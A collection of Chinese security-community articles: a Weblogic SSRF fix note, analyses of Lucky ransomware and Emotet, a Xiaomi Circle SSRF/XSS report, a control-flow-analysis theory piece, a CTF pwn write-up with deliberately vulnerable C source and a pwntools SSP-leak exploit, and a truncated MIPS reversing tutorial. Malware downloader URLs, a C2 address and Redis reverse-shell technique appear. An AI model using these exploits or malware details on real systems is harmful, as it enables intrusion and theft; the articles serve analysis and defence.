图8.2
网络上获取到批量检测脚本可进行批量端口检测。（附件二），实际操作中此阶段有可能会得到内网网段，获取网段后可使用脚本快速检测。
在检测到相关网段和端口后，可以通过传入%0a%0d来注入换行符，利用Redis反弹shell。
### （三）漏洞修复
最直接的方式是将SearchPublicRegistries.jsp直接删除。
### （四）补充
Weblogic除去上述SSRF漏洞，还存在任意文件上传漏洞等，任意文件上传几乎每年都会有新的漏洞。最近的漏洞编号为CVE-2018-2894，此漏洞成因为若开启Web
Service Test Page，可上传任意jsp文件，进而获取服务器权限。
内容较多，暂不展开分析。 | 社区文章 |
# Lucky双平台勒索者——模块详析与防御对抗
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：360企业安全·华南基地
lucky是一款具备超强传播能力的勒索者，360威胁情报中心最早监测到该样本于2018-11-03开始在互联网络活动，通过多种漏洞利用组合进行攻击传播，同时支持
Windows和Linux两种操作系统平台，加密算法采用高强度的RAS+AES算法。同时该样本还会进行挖矿木马的种植。仅在2018年11月内，已监测到受影响的机构和个人约1000例左右。
## 传播模块分析
Lucky模块之一为.conn，该模块与Satan(勒索者）的传播模块基本上一致，主要利用以下漏洞进行攻击。
横向攻击手法&漏洞利用
---
Apache Struts2远程代码执行漏洞
CVE-2018-1273漏洞
Tomcat web管理后台弱口令爆破
系统账户弱口令爆破
JBoss反序列化漏洞(CVE-2013-4810)
JBoss默认配置漏洞(CVE-2010-0738)
Weblogic WLS 组件漏洞（CVE-2017-10271）
Apache Struts2远程代码执行漏洞S2-045
Apache Struts2远程代码执行漏洞S2-057
Windows SMB远程代码执行漏洞MS17-010
通过分析Conn模块发现在该Linux样本中发现了大量“.exe”的字样，可以确定该样本是个跨平台攻击样本，通过Web应用漏洞对Windows、Linux服务器进行无差别、无缝隙的攻击。
### 主要利用的漏洞
#### 1\. Apache Struts2远程代码执行漏洞
#### **2** **．** CVE-2018-1273 **漏洞**
针对Windows系统，利用CVE-2018-1273漏洞上传fast.exe病毒Downloader至C盘根目录下，下载地址为：hxxp://111.90.158.225/d/fast.exe，截至目前能下载到该样本(
MD5: fae322a3ec89c70cb45115779d52cf47)。
针对Linux系统
，利用CVE-2018-1273漏洞上传/d/ft32和/d/ft64病毒Downloader至服务器，下载地址分别为hxxp://111.90.158.225/d/ft32和
hxxp://111.90.158.225/d/ft64。
#### 3.Tomcat管理后台弱口令爆破
#### 4\. 尝试爆破系统账户和密码
另外，除了Tomcat的弱口令爆破，还会去尝试爆破系统账户和密码。
#### 5.JBoss反序列化漏洞利用
#### 6.JBoss默认配置漏洞
#### 7．Weblogic WLS 组件漏洞
#### 8.Struts2远程执行S2-057漏洞
#### 9.Struts2远程执行S2-045
根据目标OS执行不同的恶意命令。
#### 10．Windows SMB远程代码执行漏洞MS17-010（永恒之蓝）
Conn模块会通过永恒之蓝工具进行横向移动。
### Linux勒索部分分析
Lucky勒索者会加密以下后缀名的文件：
bak zip sql mdf ldf myd myi dmp xls doc txt ppt csv rtf pdf db vdi vmdk vmx
tar gz pem pfx cer ps
加密过程中发现为以下目录则直接返回跳过：
/bin, /boot, /sbin , /tmp, /etc, /etc, /lib
病毒使用RSA+AES 的加密方式对文件进行加密。
最后生成加密勒索信息,并将文件名改成[[email protected]]+文件名 + Session + lucky后缀
再将被加密文件的数量、大小、session等信息上传到C2地址为111.90.158.225的服务器上。
## Fast模块分析
上文说到，针对windows平台，会在c:\释放一个文件fast.exe,
该文件其实是一个Downloader，分别去下载conn.exe和srv.exe到C：\Program Files\Common
File\System目录下然后调用ShellExecute去执行该文件。
## Conn模块分析
Conn主要的功能是负责windows平台上的横向移动,
使用到的漏洞和上文中提到的一致，首先Conn会从资源中释放出永恒之蓝攻击模块和Mimikatz（mmkt.exe）到C:\Users\All
Users目录下，如下图。
动态调试结果如下。
当释放完永恒之蓝攻击模块后，将会先启动 mmkt.exe获取到windows账户密码，用于新起线程进行攻击工作，其中线程一启动永恒之蓝攻击模块,
如果是64位系统，则使用down64.dll 作为payload 来使用。
该payload会下载fast.exe。
线程二进行web服务的攻击。
以下是conn.exe使用到的Weblogic ,Struts2, JBoss等漏洞攻击
payload，详细的漏洞攻击情况已在上面漏洞版面讲述，就不再赘述了。
## Srv模块分析
首先该模块会去读一下版本配置文件，检测一遍是否要更新。当前分析时最新版本为1.13。
接着下载cpt.exe 和mn32.exe到C:\Program Files\Common Files\System目录下并执行。
执行完上述逻辑后，然后判断参数一，是否等于1或者2，如果参数一等于1则调用StartServiceCtrlDispatcherA函数启动服务的回调函数,
如果参数一等于2，再判断参数二的参数是install还是removesrv，分别为安装服务和卸载服务的功能。
创建的服务名称叫作Logs Servic指向srv本身。
最后获取系统信息后拼接参数向服务端发送系统配置等信息。
http://111.90.158.225/token.php?sys=&c_type=&dis_type&num=&ver=
## Cpt模块分析
Cpt为windows版本的勒索加密者逻辑和linux的一样，首先它尝试关闭一些数据库服务及进程以解除文件占用，方便对文件进行加密。
cpt.exe主要感染以下类型文件：
.bak.sql.mdf.ldf.myd.myi.dmp.xls.xlsx.docx.pptx.eps.txt.ppt.csv.rtf.pdf.db.vdi.vmdk.vmx.pem.pfx.cer.psd
不加密含有如下字符串的路径：
windows , python2 , python3 , microsoft games , boot , i386 , intel , dvd
maker ,recycle ,jdk ,lib ,libs ,allusers ,360rec ,360sec ,360sand ,favorites
,common files ,internet explorer ,msbuild ,public ,360downloads ,windows defen
,windows mail ,windows media pl ,windows nt ,windows photo viewer ,windows
sidebar ,default user
通过该排除路径的信息，我们猜测该勒索者为国人制作。
同样windows版本的勒索加密部分和linux一样也是lucky后缀。
同样加密算法采用AES+RSA加密。
最后将session ID 文件个数，文件大小，系统，等等信息上报到服务端。
## Mn2模块分析
该模块是挖矿木马使用了如下开源代码。
<https://github.com/alloyproject/xmrig/blob/master/src/core/ConfigLoader_platform.h>
挖矿木马的矿池地址如下：
## 总结&防御策略
该样本使用多种漏洞攻击组合，进行勒索和挖矿等行为，应给系统和应用打全补丁切断传播途径，关闭不必要的网络共享端口，关闭异常的外联访问。
### **附录IOC：**
样本说明：
文件名：.conn
MD5：84DDEE0187C61D8EB4348E939DA5A366
文件名: .crypt
MD5：D1AC4B74EE538DAB998085E0DFAA5E8D
文件名: srv
MD5：E7897629BA5B2D74418D9A9B6157AE80
文件名: cpt.exe
MD5：36E34E763A527F3AD43E9C30ACD276FF
文件名: mn2.exe
MD5：D1AC4B74EE538DAB998085E0DFAA5E8D
文件名：ft32
MD5：8D3C8045DF750419911C6E1BF493C747
文件名：ft64
MD5：E145264CFFA3C01A93871B27A4F569CC
C2 地址:
111.90.158.225 | 社区文章 |
# **小米圈** ssrf引发思考到富文本XSS
今天闲逛小米圈，发现一个很奇怪的问题，直接演示：
我在小米圈建立了一个测试圈子：
然后我们在这里发表一个完整的URL连接，为了测试方便，直接写我的cloudeye 地址：
<http://xiaomi.ksorvd.ijiandao.win>
这个地址贴进去，暂时不要变动，等一会儿，小米圈自己会主动去解析这个东西，然后爬出来远程站点的title，现实在界面，我们先看看这个抓到的ip流向：
然而没有抓到请求，经过一段时间的分析，发现他这个是缓存机制导致的，如果url完全相同，就不进行爬取并且缓存
由于之前测试我用过这个地址了
我们直接试试<http://xiaomi1.ksorvd.ijiandao.win>
这里抓到的ip，但是我可以肯定的确定这个ip不是我的ip，来自于小米圈服务器
那么现在引入一个问题，既然title会被抓去出来，直接现实在正文，是否存在xss
vps构造一个payload
我们直接把这个连接贴到刚才那个位置：
看看效果是否被xss：
是否对cookie有防御：
只有这两个，而且还是无关痛痒的防御
玩小米圈的人注意了，一个蠕虫爬遍所有收费项 也是可以的 | 社区文章 |
# 【木马分析】关于Emotet变种的深入分析（二）
|
##### 译文声明
本文是翻译文章，文章来源：fortinet.com
原文地址：<http://blog.fortinet.com/2017/05/09/deep-analysis-of-new-emotet-variant-part-2>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ **興趣使然的小胃**](http://bobao.360.cn/member/contribute?uid=2819002922)
**稿费：140RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**传送门**
[**【木马分析】关于Emotet变种的深入分析（一）**](http://bobao.360.cn/learning/detail/3877.html)
**
**
**一、背景**
本文是FortiGuard实验室对Emotet最新变种深入分析的第二篇文章。在第一篇文章中，我们分析了如何绕过服务端的反调试和反分析技术，从C&C服务器上下载3~4个恶意模块（.dll文件）。在第一篇中，我们只分析了其中一个模块（我将其命名为“module2”）。在这篇文章中，我们会分析其他模块的工作流程。
**二、从微软Outlook PST文件中窃取邮件地址**
正如我在第一篇文章中介绍的那样，我们正在分析的第一个模块（我将其命名为“module1”）在某个线程函数（ThreadFunction）中完成加载，模块的主要功能是读取PST文件，遍历所有的Outlook账户。PST文件是微软Outlook中个人文件夹所对应的文件，保存了用户的电子邮件信息、日历、任务以及其他项目。PST文件通常位于计算机中的“DocumentsOutlook
Files”目录，如图1所示：
图1. PST文件
微软提供了一套名为MAPI（Microsoft Outlook Messaging
API，微软Outlook消息API）的API函数，开发者可以使用MAPI来处理PST文件。module1中使用了MAPI。
一旦module1文件运行起来，它会创建一个临时文件，用来存储已窃取的Outlook相关信息，包括Outlook版本信息、电子邮件地址等。接下来module1会加载某些MAPI函数。module1加载和使用MAPI的方式如图2所示。
图2. 加载MAPI函数
接下来，该模块会根据计算机上的Outlook账户，读取所有的PST文件，遍历每个账户的每个文件夹中（如收件箱、已删除邮件、垃圾邮件、已发送邮件等）带有未读标识的所有邮件信息。该模块会窃取每封未读邮件中的发件人姓名和邮件地址。Facebook发给我的一封通知邮件如图3所示：
图3. 未读邮件示例
对于图3所示的这封未读邮件，module1窃取的具体信息如图4所示。其中“Facebook”代表的是发件人名字，而“[email protected]”代表的是发件人邮箱地址。
图4. 保存在内存缓冲区中的已窃取的邮件信息
正如我之前提到的，已窃取的数据会保存在一个临时文件中，本例中，该文件名为“AE74.tmp”。当module1准备加密已窃取的信息并将该信息发往服务器时就会读取这个文件。加密前的数据如图5所示，该数据读取自“AE74.tmp”文件。
图5. 加密前的数据
你可以看到，这个数据中包含Outlook版本以及已窃取的邮件信息。加密完成后，module1会通过POST请求将该数据发往C&C服务器。WireShark抓取的对应报文如图6所示。
图6. 发往C&C服务器的加密数据
**三、使用C &C服务器模板发送垃圾邮件**
这是Emotet恶意软件四个模块中最大的一个模块（我将其命名为“module4”）。该模块的主要功能是向已窃取的邮件地址发送垃圾邮件。当该模块在线程中执行时，它会调用CoCreateGuid函数生成一个GUID，然后使用base64算法对GUID进行编码，将其作为cookie值发往C&C服务器。服务器的响应报文中包含加密的垃圾邮件信息以及目标邮件地址。如下两张图分别代表C&C服务器返回的响应报文以及解密后的报文内容。
图7. 发往C&C服务器的GUID以及收到的响应报文
图8. 解密后的垃圾邮件模板以及邮件地址
一旦module4收到解密后的数据，它会解析出数据中包含的垃圾邮件模板以及目标邮件地址。module4支持25端口（常规端口）以及587端口（SSL）上的SMTP协议。图9显示了module4如何使用SMTP协议散布垃圾邮件，图10显示了Wireshark中抓取的报文内容，图11显示了邮件客户端中收到的垃圾邮件。
图9. 生成SMTP报文的相关代码和数据
图10. Wireshark中抓取的垃圾邮件
图11. 邮件客户端中收到的垃圾邮件
如图11所示，你可以看到垃圾邮件试图诱骗邮件接收者访问某个URL，该URL指向某个恶意Word文档。图12显示了该文档在VirusTotal上的检测结果。
图12. VirusTotal上的反病毒软件检测结果
**四、总结**
通过深入分析Emotet最新变种，我们可以发现该变种重点在于从受害者设备上窃取邮件相关数据，然后利用该设备以及已收集的邮件地址发送垃圾邮件，进而传播其他恶意软件。
需要注意的是，在我的分析过程中，我发现服务端的反调试技术时而有效，时而无效。
FortiGuard
Webfilter服务已将该恶意软件的垃圾邮件中的相关URL标记为恶意网站，所下载的Word文档也被FortiGuard反病毒服务标记为WM/Agent.DEA!tr.dldr。
**五、四个模块的总结**
Module1（大小为1c000H）：从Outlook PST文件中窃取邮件地址以及收件人名称。
Module2（大小为32000h）：从已安装的Office Outlook、IncrediMail、Group Mail、MSN
Messenger、Mozilla ThunderBird等软件中窃取凭证信息。该模块的分析可以参考之前的那篇文章。
Module3（大小为70000h）：窃取浏览器中已保存的信息。该模块比较简单，我不再赘述。
Module4（大小为0F0000h）：通过发送垃圾邮件传播其他恶意软件。
**六、攻击指示器（IoC）**
**URL地址：**
hxxp:// hand-ip.com/Cust-Document-5777177439/
**样本SHA256哈希值：**
ORDER.-Document-7023299286.doc：
D8CFE351DAA5276A277664630F18FE1E61351CBF3B0A17B6A8EF725263C0CAB4
**七、参考资料**
<https://support.office.com/en-us/article/Introduction-to-Outlook-Data-Files-pst-and-ost-6d4197ec-1304-4b81-a17d-66d4eef30b78>
<https://support.microsoft.com/en-us/help/287070/how-to-manage-.pst-files-in-microsoft-outlook>
<https://msdn.microsoft.com/en-us/library/office/cc765775(v=office.14).aspx>
**传送门**
[**【木马分析】关于Emotet变种的深入分析（一）**](http://bobao.360.cn/learning/detail/3877.html) | 社区文章 |
# 程序分析理论 第三部分 控制流分析 以语法为导向和基于约束
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本篇文章是程序分析理论部分第八篇，关于以语义为导向和基于约束的控制流分析，不仅仅有分析语义，还有部分理论证明以及最后的伪代码说明。此外，本篇文章中的例子本身在之前的文章中都出现过，虽然之前也分析过，但是这次增加了新的知识。
## 以语法为导向的上下文不敏感的控制流分析 Syntax Directed 0-CFA Analysis
经过上一篇的理论证明，我们得到控制流分析存在一个最小的解，但是仅仅根据上一篇文章的分析方法，我们不能利用数学的等式计算出最小解。所以我们以语法为导向得到有限约束集。使得最小解可以计算得到。
对于两个控制流分析的解，如果任意一个的最小解是另一个解的解，那么两解的公共部分一定是包含于真正的最小解之中。
### 例子 Example
和之前上下文不敏感的控制流分析的抽象化一样，对于let in 结构，我们可以列出这样的式子：(C , p) |= (fun f x => (f ^1(fn
y => y ^2) ^3) ^4) ^5 (C , p) |= (g ^6(fn z => z ^7) ^8) ^9 C(5) 包含于 p(g) C(9)
包含于C(10)
对于fun结构，我们列出：{fun f x => (f ^1(fn y => y ^2)^3)^4}包含于C(5) 也包含于p(f) (C , p) |=
(f ^1(fn y => y ^2)^3)^4
对于t_1 t_2的结构得到 (C , p) |= f ^1 (C , p) |=(fn y => y ^2)^3。
对于fn 得到{fn y => y ^2}包含于C(3) (C , p) |=y ^2
对于y ^2得到p(y) 包含于 C(2)
对于(C , p) |= (g ^6 (fn z => z ^7) ^8) ^9得到 (C , p) |= g ^6 (C , p) |= (fn z =>
z ^7) ^8
g为f的结果
{fn z => z ^7} 包含于 C(8) p(z) 包含于C(7)
我们可以最终得到
(C , p) |= (fun f x => (f ^1(fn y => y ^2) ^3) ^4) ^5
(C , p) |= (g ^6(fn z => z ^7) ^8) ^9
(C , p) |= (f ^1(fn y => y ^2)^3)^4
(C , p) |= f ^1
(C , p) |=(fn y => y ^2)^3
(C , p) |=y ^2
(C , p) |= g ^6
(C , p) |= (fn z => z ^7) ^8
上述式子我们可以合并成(C , p) |= (fun f x => (f ^1(fn y => y ^2) ^3) ^4) ^5 (C , p) |= (g
^6(fn z => z ^7) ^8) ^9。
接下来，我们简单证明上面的结果是代码的最小解：我们将整段代码的关系记作(C ^T, p ^T)，也就是任意一句包含在这一段代码中的代码的关系(C ,
p)都包含在(C ^T, p ^T)中，同样的每一句代码的最小解也一定包含于(C ^T, p ^T)中。所以，当(C ^1, p ^1) 和(C ^2, p
^2)拥有一个共同的表达式满足对应关系，那么这个表达式就可以对(C ^1, p ^1) 和(C ^2, p ^2)进行共同描述。
根据上面的定理我们可以得到上述的结果是所有(C , p)的共同描述。
同时，由于(C , p)是有限的，(C , p)的任何描述的子集都在上述结果中，所以上述结果是一个摩尔集，也就是最小解。
## 基于约束的上下文不敏感的控制流分析Constraint Based 0-CFA Analysis
在之前的分析中，我们已经实际上已经得到了控制流的约束条件。对于上述例子就是满足
C(5) 包含于 p(g)
C(9) 包含于C(10)
f 包含于C(5) 也包含于p(f)
{fn y => y ^2}包含于C(3)
p(y) 包含于 C(2)
p(z) 包含于C(7)
也就是说控制流的约束条件就是满足(C , p) |= e_0的条件
即：(我们将C[]表示为约束条件)
C[c ^l] = 空集
C[x ^l] = {r(x) 包含于 C(l)}
C[(fn x => e_0) ^l] = {{fn x => e_0} 包含于 C(l)} C(e_0)
C[(fun f x => e_0) ^l] = {{fun f x => e_0} 包含于 C(l)} C(e_0) {{fun f x => e_0}
包含于 r(f)}
C[(t_1 ^l_1 t_2 ^l_2) ^l] = C[t_1 ^l_1] C[t_2 ^l_2] 当fn x => t_0 ^l_0在t_1中或者
fun f x => t_0 ^l_0在t_1中 时 C(l_2) 包含于 r(x) C(l_0) 包含于 C(l)
C[(if t_0 ^l_0 then t_1 ^l_1 else t_2 ^l_2) ^l] = C[t_0 ^l_0] C[t_1 ^l_1]
C[t_2 ^l_2] C[l_1] 包含于 C[l] C[l_2] 包含于 C[l]
C[(let x = t_1 ^l_1 in t_2 ^l_2) ^l] = C[t_1 ^l_1] C[t_2 ^l_2] C[l_1] 包含于 r[x]
C[l_2] 包含于 C[l]
C[(t_1 ^l_1 op t_2 ^l_2) ^l] = C[t_1 ^l_1] C[t_2 ^l_2]
### 例子Example
根据t_1 t_2的形式以及fn x => x 的形式，我们得到下面结果
C[((fn x = x ^1) ^2 (fn y => y ^3) ^4) ^5] = {
{fn x => x ^1} 包含于 C(2)
r(x) 包含于 C(1)
{fn y => y ^3} 包含于 C(4)
r(y) 包含于C(3)
左表达式包含参数，右表达式对左表达式的参数进行操作 ==> C(4) 包含于 r(x)
C(4)对y进行操作 ==> C(4) 包含于 r(y)
C(1) 包含于 C(5)
C(3) 包含于 C(5)
}
C[e_0] 和 (C , p)关系是C[e_0]是约束关系的实体，(C , p)是约束关系的逻辑表示，(C , p) |= e_0 需要满足 C[e_0]
。约束条件中的C(l) 与 (C , p)的C对应 。r(x) 与 (C , p)中的p对应。
我们对于相互转化的关系用 (C , p) [C(l)] = C(l) 和 (C , p)[r(x)] = p(x)表示。
其中对于基本类型语句t (C , p) [{t}] = {t} 对于本身是运算又会返回值参与其他运算的语句t (C , p) [{t}] 包含于 rhs’
=> lhs] = (C , p) [lhs]
所以我们可以得到这样的式子 (C , p) |= C[e]
我们简单证明式子成立且为最小解： 举一个t_1 ^l_1 t_2 ^l_2的例子，l_1的运算结果会运用到t_2中所以(C_1, p_1)包含于(C_2,
p_2)，也就是约束条件渐渐叠加。因为(C ,p) 是有限个，所以有一个解是极限值，也就是最小解。
在实际应用中，我们可以用链表的形式记录：
对一个C[e]的约束条件，我们生成(C , p)来储存。首先进行初始化，生成空的链表，然后根据语句类型生成限制条件链以及变量，当语句为fn x => x
时将id_x保存至D[C(l)]中并且生成限制条件添加在E[q]中。当语句是其他时，生成限制条件添加在E[q]中。然后根据约束条件生成由最初的根语句对应的工作列表的解逐步演变成最终工作列表的解。即将参数id根据约束条件记录进D[C(l)]中。
我们简单证明该解为最小解：首先，对于第一步和第二步是显然有界的，第三部由于代码块有限，所以约束条件也是有终止的。所以解是可计算的。然后证明为最小解，假设(C‘
, p’) |= C[e] 那么任意D[C(l)] 包含于 C’(l)中 D[r(x)] 包含于
p’(x)中。这在第一步中实现。随后第二部中保证了对于任何形式的t p的处理使得(C , p) |= C[e]始终满足。所以该解为最小解。
根据上面的描述，我们得到以下结论：(C , p) |= C[e] 是最小解，以语法为导向和基于约束的结果是相同的，
伪代码
Init : W = nil D[q] = nil E[q] = nil
Build :
for cc in C[e] :
case cc of
{t} p : add(p,{t})
p1 p2 : E[p1] = cons(cc,E[p1])
t p => p1 p2:E[p1] = cons(cc,E[p1]) E[p] = cons(cc,E[p])
Iteration :
while W ≠ nil :
q = head(W) W = tail(W)
for cc in E[q]
case cc of
p1 p2 : add(p2,D[p1])
{t} p => p1 p2: if t ∈ D[p] then add(p2,D[p1])
## 最后
欢迎指教
_DR[@03](https://github.com/03 "@03")@星盟_ | 社区文章 |
## 前言
前段时间打了国赛，出了道bulid的pwn题，用到了几个杂而有趣的知识点，玩起来不太常规，做起来甚至可以说是有点难受，在此记录一下。
[题目链接](https://github.com/pic4xiu/C/blob/master/题目链接/pwn/bin.zip)
文末也有链接
## 出题思路
最近学了学安卓，想到了一个之前分析过的mobile案例，一个apk通过调用lua实现函数的重写（就是之前血洗高校的一个apk），觉得很好玩，决定应用到题目里边。
文件结构：一个二进制文件，一个加密过的Lua文件，一个flag文件。
程序流程：
* 二进制程序部署在特定端口，使用nc访问
* 程序起来后会加载加密过的lua文件到内存，之后程序在内存中解密lua程序，在程序中输入字符，将字符交给lua进行处理，必须满足某种关系程序才能向下进行。
* 完成绕过后选择了缓冲区溢出，文件没关canary，用ssp leak可以直接把flag读出来。整体看下来就是一个披着pwn题外衣的C加lua程序逆向题。
* 因为用到了好多C语言lua库函数的好多函数，用ida分析程序会发现非常恶心，得仔细扣，之前没接触过这种的还得现学。
[环境搭建](https://www.runoob.com/lua/lua-environment.html)
## 题目源码
> 写的时候现学现卖，请师傅们指教
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <lua5.1/lua.h>
#include <lua5.1/lualib.h>
#include <lua5.1/lauxlib.h>
char flag[0x20];
char* c;
uint8_t *enc(uint8_t *data, int size) {//加密函数，和解密函数完全一致
uint8_t *temp = (uint8_t *)malloc(size);
int k[3]={2,3,5};
int i;
if (size) {
for (i = 0; i < size; i++) {
temp[i] = data[i]^k[i%3];
}
return temp;
}
}
int main()
{
setvbuf(stdout,0,2,0);
FILE *f = fopen("main.lua", "rb");//读入同目录加密过的lua文件
if (f == NULL)
return -1;
fseek(f, 0, SEEK_END);
long file_size = ftell(f);
uint8_t *buf = (uint8_t *)malloc(file_size);
rewind(f);
fread(buf, sizeof(char), file_size, f);
uint8_t *rea = enc(buf,file_size);
lua_State *luaEnv = lua_open();//创建一个新的lua_State
luaopen_base(luaEnv);
luaL_openlibs(luaEnv);
if(!luaEnv)
{
return -1;
}
int loadInfo = luaL_loadstring(luaEnv,rea);//以字符串形式把解密过的lua语句load进去
if(loadInfo)
{
return -1;
}
int i,j,a,k=3;
puts("Hello I'm lua.\nLet's experience something different");
while(k){
puts("Enter two numbers in your heart;)");
scanf("%d",&i);
scanf("%d",&j);
lua_pcall(luaEnv,0,0,0);
lua_getglobal(luaEnv,"hndl");//找这个名字的函数
lua_pushnumber(luaEnv,i);//以堆栈形式传参
lua_pushnumber(luaEnv,j);
puts("mamimami hon~~~~");
lua_pcall(luaEnv,2,1,0);//完成调用，之后的参数分别是参数个数、返回值个数和错误处理函数（0表示无）
a=lua_tonumber(luaEnv,-1);//同样以堆栈方式取值
puts("who am I?");
sleep(1);
printf("%d!!\n",a);
if(a==random())//和伪加密数进行比较
k--;//重复次数
else
{ puts("Your ideas are different from Lua's :( sry");
exit(0);
}
}
char b[4];
FILE *fp;
fp = fopen("flag","r");
fread(flag,1,0x20,fp);
puts("All right,the magic failed");
read(0,b,280);
return 0;
}
//gcc -o Lua_magic te.c -llua5.1
看下lua加密前的源码
function BitXOR(a,b)
local p,c=1,0
while a>0 and b>0 do
local ra,rb=a%2,b%2
if ra~=rb then c=c+p end
a,b,p=(a-ra)/2,(b-rb)/2,p*2
end
if a<b then a=b end
while a>0 do
local ra=a%2
if ra>0 then c=c+p end
a,p=(a-ra)/2,p*2
end
return c
end
function hndl(i,j)
j = BitXOR(5977654,j)
return BitXOR(i,j)
end
由于lua5.1不支持位运算，有必要写个异或运算函数到lua文件里边。我没改BitXOR名字，直接用了师傅的轮子。同时作为白嫖党吃人嘴短，做异或处理的时候用的5977654和stackoverflow的轮子[qustionid](https://stackoverflow.com/questions/5977654/how-do-i-use-the-bitwise-operator-xor-in-lua)对应
## 解题思路
选手拿题后应该是一个Lua_magic和经过处理enc过的main.lua，lua文件长这样
用ida简单看下Lua_magic
其实还好，用到的都分析出来了，之后就是动态调试程序，把内存中解密完的lua程序dump出来（enc执行完后下断）
然后一起结合dump出来的lua程序和ida一起分析就好了。
随机数的生成自己写个C脚本：
算起来的话就反着来就行，和1异或完和5977654异或就好了
最后进入最后一步
读入0x118字节，完全够了，全暴力填flag的bss地址就好，exp如下
from pwn import *
#ip=sys.argv[1]
#port=sys.argv[2]
context.log_level = 'debug'
p=process('./Lua_magic')
#p = remote(ip, port)
p.recvuntil("Enter two numbers in your heart;)\n")
p.sendline("1")
p.sendline("1808823120")
sleep(1)
p.recvuntil("Enter two numbers in your heart;)\n")
p.sendline("1")
p.sendline("840963569")
sleep(1)
p.recvuntil("Enter two numbers in your heart;)\n")
p.sendline("1")
p.sendline("1684516446")
sleep(1)
p.send(p64(0x602140)*35)
#p.interactive()
## 修复 & 总结
因为b就4个字节，patch成`read(0,b,4);`即可完成修复。
这题流程比较长，在划分题目难度的时候觉得难点和亮点都在lua那块，就归到了中等难度。在好几个地方都能上一个难度系数，如加解密lua语句函数enc、lua脚本处理输入逻辑、read进去b后再搞个lua语句处理等，但想了想还是算了，觉得点到为止为最佳，本身出这种题还是考验知识积累和快速学习，感觉再难点就偏了。
刚出完我觉得还是很有趣的，自己做完感觉几个考察的点还是有点僵硬，出题真的是门艺术。 | 社区文章 |
# 对嵌入式设备的逆向分析与漏洞利用：软件栈（第一部分）
##### 译文声明
本文是翻译文章，文章原作者 Elvis Collado，文章来源：praetorian.com
原文地址：<https://p16.praetorian.com/blog/reversing-and-exploiting-embedded-devices-part-1-the-software-stack>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在过去的几个月，我一直在研究如何攻破嵌入式设备，并将相关的知识讲解给大家。但考虑到幻灯片能展现的信息量极其有限，因此我想将所有内容都写出来，供大家在线阅读，认真理解消化。本文是这一系列的第一部分，主要向读者们介绍嵌入式设备的软件部分。
从二进制应用程序到驱动程序，大部分的漏洞都存在于软件栈（Software
Stack）之中，因此我决定首先来讲解软件。在第二部分中我们会介绍硬件栈（Hardware
Stack），重点会讲解JTAG的实际工作原理，以及如何修改硬件来绕过密码保护或者提取烧录到目标设备中的一些秘密。
## 1.使用Binwalk进行固件提取
当你已经获得了嵌入在设备中固件的二进制文件，你恐怕会情不自禁地想要一探究竟。这时，我们便可以借助名为Binwalk的开源工具，该工具能够解析目标二进制的魔术字节（Magic
Bytes），下载地址为：
<https://github.com/devttys0/binwalk/tree/master/src/binwalk/magic>
为了向大家展现一个直观的界面，我将使用Binwalk来提取DVRFv0.3。
通过binwalk -e file_name命令，可以提取二进制映像中的内容。
Binwalk将会显示在二进制文件内检测到的结构及其偏移量。
在vim中，使用xxd可以显示由binwalk为TRX和gzip提供的偏移量匹配。具体方法为：先使用vim打开DVRF_v03.bin，然后输入:%!xxd。
交叉引用Binwalk使用的TRX结构。
交叉引用Binwalk使用的gzip结构。
在vim中使用xxd来交叉引用Binwalk检测到的SquashFS结构的偏移量。
交叉引用Binwalk使用的SquashFS结构。
## 2\. 了解目标ASM
如果你还没有对目标设备的ASM进行充分地了解，可以使用C和反汇编工具来快速对其进行了解。在我看来，以下是在对目标ASM进行掌握过程中需要重点关注的内容：
参数传递
函数入口和返回
栈的使用
函数的调用
分支条件
在这篇文章中，我将会亲自展示如何使用反汇编工具和C来对MIPS-I ASM进行分析。
### 2.1 参数传递
这是一个非常简单的C应用程序，其功能是将两个（int型）参数传递给另一个，并返回两个整数之和。
#include <stdio.h>
// Function that calls another function with some arguments.
// This will be below the max amount of a(x) registers.
// by b1ack0wl
void main(){
int a = 0;
int b = 0x41;
pass_args_to_me(a,b);
}
int pass_args_to_me(int a, int b){
return (a+b);
}
一旦我们已经交叉编译了C应用程序，我们就需要将其放入反汇编工具中进行分析。
实际上，你可以使用任何你喜欢的反汇编工具。针对本文的这些例子，我将使用Radare2。
=-------------------------------=
| [0x4003b0] |
| main: | // Disassembling the main() function
| (fcn) sym.main 68 |
| addiu sp, sp, -0x28 | // Adjust stack by 40 bytes
| sw ra, 0x24(sp) | // Return address is saved onto the Stack
| sw fp, 0x20(sp) | // Frame pointer is saved onto the Stack
| move fp, sp | // Move stack pointer to the frame pointer
| sw zero, 0x18(fp) | // Initialize int a to 0
| addiu v0, zero, 0x41 | // Add 0x41 to zero and store the result into $v0
| sw v0, 0x1c(fp) | // Initialize int b to 0x41
| lw a0, 0x18(fp) | // Load value of int a into $a0
| lw a1, 0x1c(fp) | // Load value of int b into $a1
| jal sym.pass_args_to_me ;[a] | // Jump and Link to the pass_args_to_me Function (RA = PC + 8)
| nop | // No instructions to execute when calling pass_args_to_me
| move sp, fp | // Move the frame pointer to the stack pointer register
| lw ra, 0x24(sp) | // Restore the previously saved Return Address
| lw fp, 0x20(sp) | // Restore the previously saved Frame Pointer address
| addiu sp, sp, 0x28 | // Adjust the offset by 40 bytes since we are leaving the function
| jr ra | // Jump to the address loaded in to $ra (return address register)
| nop | // No instruction to execute when jumping to the address in $ra
=-------------------------------=
在查看图表的同时，我们可以按“g”，然后查看pass_args_to_me函数。
=------------------------------=
| [0x4003f4] |
| (fcn) sym.pass_args_to_me 52 | // Disassembling the pass_args_to_me function
| addiu sp, sp, -8 | // Adjust stack address by 8 bytes (int = 4 bytes)
| sw fp, 4(sp) | // Save Frame pointer Address
| move fp, sp | // Move SP to FP (This is behavior is an indication that we're dealing with local variables)
| sw a0, 8(fp) | // Save int a into the frame pointer
| sw a1, 0xc(fp) | // Save int b into the frame pointer.
| lw v1, 8(fp) | // Load int a into $v1
| lw v0, 0xc(fp) | // Load int b into $v0
| addu v0, v1, v0 | // Add $v1 and $v0 and store the result into $v0
| move sp, fp | // Copy the frame pointer address into the stack pointer register ($sp)
| lw fp, 4(sp) | // Restore previously saved frame pointer
| addiu sp, sp, 8 | // Restore stack offset (8 bytes)
